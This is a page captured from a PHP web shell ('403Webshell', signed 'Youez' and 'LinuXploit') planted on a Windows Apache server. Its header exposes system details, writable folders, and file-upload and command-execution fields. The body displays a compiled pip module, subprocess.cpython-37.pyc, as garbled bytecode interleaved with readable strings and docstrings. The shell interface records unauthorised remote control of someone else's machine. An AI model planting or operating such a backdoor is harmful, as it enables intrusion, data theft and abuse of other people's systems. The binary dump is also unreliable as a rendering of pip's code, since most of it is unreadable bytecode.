403Webshell
Server IP : 127.0.0.1  /  Your IP : 216.73.216.109
Web Server : Apache/2.4.54 (Win64) OpenSSL/1.1.1q PHP/8.1.10
System : Windows NT DESKTOP-E5T4RUN 10.0 build 19045 (Windows 10) AMD64
User : SERVERWEB ( 0)
PHP Version : 8.1.10
Disable Function : NONE
MySQL : OFF |  cURL : ON |  WGET : OFF |  Perl : OFF |  Python : OFF |  Sudo : OFF |  Pkexec : OFF
Directory :  C:/cygwin64/lib/python3.7/site-packages/pip/_internal/utils/__pycache__/

Upload File :
current_dir [ Writeable] document_root [ Writeable]

 

Command :


[ Back ]     

Current File : C:/cygwin64/lib/python3.7/site-packages/pip/_internal/utils/__pycache__/subprocess.cpython-37.pyc
B

�N�aJ'�@s�ddlZddlZddlZddlZddlmZmZmZmZm	Z	m
Z
mZmZddl
mZmZddlmZddlmZmZddlmZer�ddlmZe	eeefZdZeeeefed	�d
d�Zee	eefed	�dd
�Zee	eefe	ed	�dd�Zee	eefeee	eeed�dd�Zdee	eefe eedeeeeeee
eefeeeeeee ee ed�dd�Z!eedd�dd�Z"dS)�N)�
TYPE_CHECKING�Any�Callable�Iterable�List�Mapping�Optional�Union)�SpinnerInterface�open_spinner)�InstallationSubprocessError)�VERBOSE�subprocess_logger)�
HiddenText)�Literalz(----------------------------------------)�args�returncGs6g}x,|D]$}t|t�r$|�|�q
|�|�q
W|S)z&
    Create a CommandArgs object.
    )�
isinstance�list�extend�append)rZcommand_args�arg�r�B/usr/lib/python3.7/site-packages/pip/_internal/utils/subprocess.py�make_command!s

rcCsd�dd�|D��S)z/
    Format command arguments for display.
    � css0|](}t|t�rt�t|��nt�|�VqdS)N)rr�shlexZquote�str)�.0rrrr�	<genexpr><sz&format_command_args.<locals>.<genexpr>)�join)rrrr�format_command_args2s	r!cCsdd�|D�S)z=
    Return the arguments in their raw, unredacted form.
    cSs g|]}t|t�r|jn|�qSr)rrZsecret)rrrrr�
<listcomp>Esz'reveal_command_args.<locals>.<listcomp>r)rrrr�reveal_command_argsAsr#)�cmd_args�cwd�lines�exit_statusrcCs0t|�}d�|�}dj|||t|�|td�}|S)z�
    Create and return the error message to use to log a subprocess error
    with command output.

    :param lines: A list of lines, each ending with a newline.
    �z�Command errored out with exit status {exit_status}:
 command: {command_display}
     cwd: {cwd_display}
Complete output ({line_count} lines):
{output}{divider})r'Zcommand_displayZcwd_displayZ
line_count�outputZdivider)r!r �format�len�LOG_DIVIDER)r$r%r&r'Zcommandr)�msgrrr�make_subprocess_output_errorHs
r.F�raiseTz"Literal["raise", "warn", "ignore"])�cmd�show_stdoutr%�
on_returncode�extra_ok_returncodes�command_desc�
extra_environ�
unset_environ�spinner�log_failed_cmd�stdout_onlyrc
Cs�|dkrg}|dkrg}|r*tj}tj}n
tj}t}t��|k}
|
oL|dk	}|dkr^t|�}|d|�tj	�
�}|r�|�|�x|D]}|�|d�q�Wy0t
jt|�t
jt
j|
s�t
jnt
j||dd�}Wn8tk
�r}z|	r�t�d||��Wdd}~XYnXg}|
�s�|j�st�|j�s&t�|j��xN|j��}|�sDP|��}|�|d�||�|�r2|�srt�|���q2Wz|��Wd|j�r�|j��Xd�|�}n\|��\}}x|��D]}||��q�W|�|�x|��D]}||��q�W|�|�|}|j �o|j |k}|�rH|�s,t�|�r>|�!d�n
|�!d	�|�r�|d
k�r�|
�s�|	�r�t"||||j d�}t�#|�t$|j |��n8|dk�r�t�%d
||j |�n|dk�r�nt&d|����|S)a�
    Args:
      show_stdout: if true, use INFO to log the subprocess's stderr and
        stdout streams.  Otherwise, use DEBUG.  Defaults to False.
      extra_ok_returncodes: an iterable of integer return codes that are
        acceptable, in addition to 0. Defaults to None, which means [].
      unset_environ: an iterable of environment variable names to unset
        prior to calling subprocess.Popen().
      log_failed_cmd: if false, failed commands are not logged, only raised.
      stdout_only: if true, return only stdout, else return both. When true,
        logging of both stdout and stderr occurs when the subprocess has
        terminated, else logging occurs as subprocess output is produced.
    NzRunning command %s�backslashreplace)�stdin�stdout�stderrr%�env�errorsz#Error %s while executing command %s�
r(�errorZdoner/)r$r%r&r'�warnz$Command "%s" had error code %s in %s�ignorezInvalid value: on_returncode=)'r�info�logging�INFO�verboser
ZgetEffectiveLevelr!�os�environ�copy�update�pop�
subprocess�Popenr#�PIPEZSTDOUT�	ExceptionZcriticalr<�AssertionErrorr;�close�readline�rstriprZspin�waitr Zcommunicate�
splitlines�
returncodeZfinishr.rArZwarning�
ValueError)r0r1r%r2r3r4r5r6r7r8r9Zlog_subprocessZ
used_levelZshowing_subprocessZuse_spinnerr>�name�proc�excZ
all_output�liner)�out�errZout_lineZerr_lineZproc_had_errorr-rrr�call_subprocessks�















r_).N)�messagercs2dttttttttfdd��fdd�
}|S)z�Provide a subprocess_runner that shows a spinner message.

    Intended for use with for pep517's Pep517HookCaller. Thus, the runner has
    an API that matches what's expected by Pep517HookCaller.subprocess_runner.
    N)r0r%r5rc	s(t���}t||||d�WdQRXdS)N)r%r5r7)rr_)r0r%r5r7)r`rr�runners
z+runner_with_spinner_message.<locals>.runner)NN)rrrrr)r`rar)r`r�runner_with_spinner_message
s		rb)
FNr/NNNNNTF)#rErHrrM�typingrrrrrrrr	Zpip._internal.cli.spinnersr
rZpip._internal.exceptionsrZpip._internal.utils.loggingr
rZpip._internal.utils.miscrrrZCommandArgsr,rr!r#�intr.�boolr_rbrrrr�<module>sB(  T

Youez - 2016 - github.com/yon3zu
LinuXploit